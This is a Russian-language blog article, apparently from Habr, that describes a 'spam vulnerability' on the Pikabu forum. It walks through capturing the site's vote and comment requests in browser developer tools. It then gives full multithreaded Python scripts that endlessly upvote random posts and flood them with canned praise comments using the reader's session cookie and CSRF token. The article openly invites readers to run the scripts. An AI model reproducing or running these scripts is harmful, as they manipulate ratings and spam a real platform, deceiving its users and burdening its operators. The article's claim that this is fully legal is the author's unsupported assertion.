Pull to refresh

Спам-уязвимость Pikabu

Reading time4 min
Views12K

Здравствуйте. Хотел бы рассказать про спам-уязвимость форума Pikabu.


Форум считаю не самым лучшим, по этому — тестирую на нем все что можно.


В чем же суть?


Уязвимость заключается в накрутке активности, количестве оценок, комментариев за минимальное время с помощью Python-скрипта.


Покажи!


Работа скрипта в течении 24 часов:


image


Думаете я отредактировал HTML? А вот и нет!


Как ты это сделал?!


Очень просто!


Для начала создадим .py файл:


image


Далее давайте импортируем модули с помощью которого мы будем совершать запросы для совершения действий, а также модуль для многопоточности нашего скрипта:


import requests
from threading import Thread

Теперь создадим функцию с бесконечным циклом, отправляющую наши запросы:


def spam():
    while True:
        req = requests.post('')

Но откуда узнать данные запроса?


Откроем FireFox, зайдем на Pikabu.


Выберем любую тему. Наведем курсор на стрелочку вверх:


image


Теперь нажмем комбинацию клавиш: cntr+shift+i.


На экране появилась панель инструментов разработчика:


Чтобы сохранить зрение дорогих форумчан — мне пришлось вырезать тему AdBlock(ом):


image


Перейдем во вкладку "сеть".


Теперь мы видим все исходящие запросы в данном браузере.


Нажимайте на стрелочку "оценить тему" и быстро переводите взгляд на панель запросов.
Нажимайте на кнопку "метод", пока первым запросом не станет запрос с типом "POST":


image


Среди первых запросов найдите этот:


image


Нажмите на него правой кнопкой мыши, и наведите курсор на кнопку "Копировать", выберите "Копировать данные POST". Далее вставьте данные в запрос таким образом:


req = requests.post('https://pikabu.ru/ajax/vote_story.php',
data = {
'story_id':story,
'vote':'1'
},

)

Но тогда мы будем оценивать один и тот же пост!


Чтобы это исправить, добавим к уже импортированным модулям модуль "random" с помощью кода:


import random

И добавим в цикл while строку:


story = random.randint(1000000, 6865568)

Продолжим создавать запрос! Вот что у нас уже получилось:


import requests
from threading import Thread
import random
def spam():
    while True:
        story = random.randint(1000000, 6865568)
        req = requests.post('https://pikabu.ru/ajax/vote_story.php',
        data = {
        'story_id':story,
        'vote':'1'
        },

        )

Добавим к запросу самое важное — заголовки. Вернемся в FireFox, так же нажмем правой кнопкой мыши на запрос, выберем "Копировать" но на этот раз — "Заголовки запроса".
Таким же образом, через двоеточие и кавычки вставляем их в код:


import requests
from threading import Thread
import random
def spam():
    while True:
        story = random.randint(1000000, 6865568)
        req = requests.post('https://pikabu.ru/ajax/vote_story.php',
        data = {
        'story_id':str(story),
        'vote':'1'
        },
        headers = {
        'Host: 'pikabu.ru',
        'User-Agent': 'ваши данные',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Csrf-Token': 'ваши данные',
        'X-Requested-With': 'XMLHttpRequest',
        'Content-Length': '23',
        'Connection': 'keep-alive',
        'Referer': 'https://pikabu.ru/',
        'Cookie': 'Ваши данные ' })

В поле "ваши данные" вставьте ваши значения.


Выведем статус запроса:


print(req)

если выводится "responce <200>", значит запрос отправлен и тема оценена.
Дальше сделаем скрипт чуточку быстрее(ровно в 55 раз).


Создадим поточность нашим запросам:


for i in range(55):
    thr = Thread(target = spam)
    thr.start()

Ну вот и все! Можете запускать.


А вот весь код:


import requests
from threading import Thread
import random
def spam():
    while True:
        story = random.randint(1000000, 6865568)
        req = requests.post('https://pikabu.ru/ajax/vote_story.php',
        data = {
        'story_id':str(story),
        'vote':'1'
        },
        headers = {
        'Host: 'pikabu.ru',
        'User-Agent': 'ваши данные',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Csrf-Token': 'ваши данные',
        'X-Requested-With': 'XMLHttpRequest',
        'Content-Length': '23',
        'Connection': 'keep-alive',
        'Referer': 'https://pikabu.ru/',
        'Cookie': 'Ваши данные ' })
        print(req)
for i in range(55):
    thr = Thread(target = spam)
    thr.start()

Таким же образом делается накрутка комментариев. Ее я подробно объяснять не буду, просто выложу код:


# -*- coding: utf8 -*-
import requests
from threading import Thread
import random
def sender():
    comments = ['Автор ТОП! Спасибо огромное! Очень интересно!', 'Автору спасибо! 
Понравилось! Побольше бы таких постов!', 'Автор интересно пишет! Ах! Если бы я так умел...', 'Интересно! Мне понравилось!', 'Мне пост понравился. Круто написан!', 'Спасибо, интересно!', 'Хороший пост! Мне понравился! Написан замечательно!', 'Замечательно написан! Понравилось!']
    while True:
        #6863803
        postid = random.randint(1000000, 6865568)
        comnom = random.randint(0, 7)
        req = requests.post('https://pikabu.ru/ajax/comments_actions.php',
        data = {
        'desc':comments[comnom],
        'action':'create',
        'story_id':postid,
        'parent_id':'0',
        'images':'[]'
        },
        headers = {
        'Accept':'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding':'gzip, deflate, br',
        'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3',
        'Connection':'keep-alive',
        'Content-Length':'23',
        'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
        'Cookie':'Ваши данные',
        'Host':'pikabu.ru',
        'Referer':'https://pikabu.ru/',
        'TE':'Trailers',
        'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0',
        'X-Csrf-Token':'Ваши данные',
        'X-Requested-With':'XMLHttpRequest'})
        print(postid, ' commented: ',req.text)
for i in range(35):
    thr = Thread(target = sender)
    thr.start()
    print(thr)
print('All thread are initialized! Programm started!')

Ну вот и все. Можно штурмовать посты и комментарии.


Удачи!


Любите Хабр.


Действия приведенные выше являются полностью законными, не нарушают не одну статью УК РФ на 02.10.2019.
Tags:
Hubs:
-44
Comments52

Articles